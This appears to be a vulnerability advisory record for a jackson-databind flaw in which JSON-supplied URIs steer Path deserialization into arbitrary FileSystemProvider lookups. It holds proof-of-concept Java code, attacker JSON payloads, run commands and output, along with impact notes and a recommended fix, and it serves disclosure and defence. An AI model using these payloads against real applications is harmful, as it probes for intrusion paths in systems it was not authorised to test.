{"id":"CVE-2026-19032","aliases":["GHSA-wjgm-6hv5-3cvf"],"url":"https://o3.security/vulnerability/CVE-2026-19032","summary":"jackson-databind resolves attacker-controlled URI schemes when deserializing java.nio.file.Path","details":"### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(':');\nif (colonIx < 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value);          // attacker-controlled URI string\ntry {\n    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n    final String scheme = uri.getScheme();\n    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n        if (provider.getScheme().equalsIgnoreCase(scheme)) {\n            return provider.getPath(uri);  // attacker scheme selects & drives a provider\n        }\n    }\n    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n  - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n       (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n> PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 — sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader<FileSystemProvider>.\n */\npublic class Vuln04_PathProvider {\n    public static class Config { public Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        ObjectMapper mapper = JsonMapper.builder().build();\n        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n        String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n        try {\n            Config c = mapper.readValue(json, Config.class);\n            System.out.println(\"Resolved Path = \" + c.workdir + \"  (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n            System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n        } catch (Throwable t) {\n            System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n            System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n        }\n    }\n}\n```\n\n**PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application's classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson's readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n    public static volatile boolean STATIC_INIT_RAN = false;\n    public static volatile String GET_PATH_URI = null;\n    static { STATIC_INIT_RAN = true; }\n\n    @Override public String getScheme() { return \"evilscheme\"; }\n\n    @Override public Path getPath(URI uri) {\n        GET_PATH_URI = uri.toString();\n        System.out.println(\">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n        return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n    }\n\n    // --- remaining abstract methods: minimal stubs ---\n    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }\n    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }\n    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }\n    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }\n    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public boolean isSameFile(Path p, Path p2) { return false; }\n    @Override public boolean isHidden(Path p) { return false; }\n    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void checkAccess(Path p, AccessMode... m) { }\n    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }\n    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor —\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver — `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app's\n * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n    public static class Config { public java.nio.file.Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        ObjectMapper mapper = JsonMapper.builder().build();   // default config\n        String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n\n        Config c = mapper.readValue(json, Config.class);\n\n        System.out.println(\"Resolved Path = \" + c.workdir);\n        System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n                && EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n        System.out.println(ok\n            ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n            : \"RESULT: NOT reproduced\");\n    }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n  src/main/java/com/poc/EvilFileSystemProvider.java \\\n  src/main/java/com/poc/Vuln04_PathProvider.java \\\n  src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n   out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider        # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount  # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2  :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader<FileSystemProvider>` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.","published":"2026-09-01T03:18:42.280Z","modified":"2026-10-21T09:44:12.623493158Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"tools.jackson.core:jackson-databind","fixedVersion":"3.1.6"},{"ecosystem":"Maven","name":"tools.jackson.core:jackson-databind","fixedVersion":"3.2.2"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.18.10"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.21.6"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.22.2"}],"fix":{"url":"https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551","label":"FasterXML/jackson-databind@cc6756b"},"references":[{"type":"WEB","url":"https://repo.maven.apache.org/maven2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/19xxx/CVE-2026-19032.json"},{"type":"ADVISORY","url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19032"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/pull/6129"},{"type":"PACKAGE","url":"https://github.com/FasterXML/jackson-databind"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T09:44:12.623493158Z"}}